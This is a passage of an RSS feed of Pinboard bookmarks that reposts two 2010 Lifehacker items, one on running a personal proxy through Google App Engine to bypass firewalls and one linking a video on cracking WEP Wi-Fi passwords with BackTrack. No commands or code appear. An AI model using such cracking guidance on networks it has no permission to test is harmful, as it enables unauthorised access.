    <title>Run Your Own Free Proxy Through the Google App Engine [Proxy]</title>
    <dc:date>2010-03-03T20:00:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/vD2K_FqjTmU/run-your-own-free-proxy-through-the-google-app-engine</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[Finding a good proxy is difficult. You either have to run it yourself from your home computer or web server, or you're left scavenging about for free proxies online. Instead, you can run one for free through the Google App Engine.
If you want total control over your proxy experience, you can always run a home proxy. We showed you how to set one up last month with our guide to bypassing heavy-handed firewalls. While you're tinkering away with your home network it's also worth setting up a SSH SOCKS proxy to encrypt and secure all your remote traffic too.

If you don't want to leave your computer on all the time or be limited by the speed of your home internet connection however, you can use a Google account to set up a proxy server that runs off the Google Apps Engine and allows you to browse via proxy independent of your home network and without having to trust a sketchy third-party proxy. You'll be running your own proxy server through the Apps Engine, free for you to tweak. They've put together a detailed guide at Digital Inspiration, check out the video below:



For step by step instructions, including lots of screen shots, visit the link below. Have your own way for circumventing firewalls and browsing on your own terms? Let's hear about it in the comments.

How-To Setup Your Own Web Proxy Server for Free with Google Apps Engine [Digital Inspiration]



   
]]></description>
<dc:subject>Proxy Browsing Google_Apps Privacy Security Top Web_Browsing</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:459649d357fe/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Proxy"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Browsing"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Google_Apps"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Privacy"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Web_Browsing"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/o6t7DRancVg/crack-a-wi+fi-networks-wep-password-with-backtrack-the-fancy-video-version">
    <title>Crack a Wi-Fi Network's WEP Password with BackTrack, the Fancy Video Version [Wi-Fi]</title>
    <dc:date>2010-01-29T23:00:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/o6t7DRancVg/crack-a-wi+fi-networks-wep-password-with-backtrack-the-fancy-video-version</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[

Last summer we detailed how to crack a Wi-Fi network's WEP password using BackTrack. Now video blog Tinkernut revisits the subject with a great video step-by-step of the process.
Before you go calling the cops or putting on your bank robber mask, a helpful reminder from our original post:


Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise.


BackTrack has also updated to version 4 since we last featured it, but the process appears to have remained basically the same. The interesting thing about BackTrack is how easy it is to crack a WEP-encrypted network, which serves as a very good reminder to use WPA encryption to significantly boost your home network security.

How To Hack Wireless [Tinkernut]



   
]]></description>
<dc:subject>Wi-Fi Clips Home_Network Linux_Live_CD Live_CD Security Step-by-Step Top wep</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:1794d0650d50/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Wi-Fi"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Clips"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Home_Network"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Linux_Live_CD"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Live_CD"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Step-by-Step"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:wep"/>
</rdf:Bag></taxo:topics>
</item>
</rdf:RDF>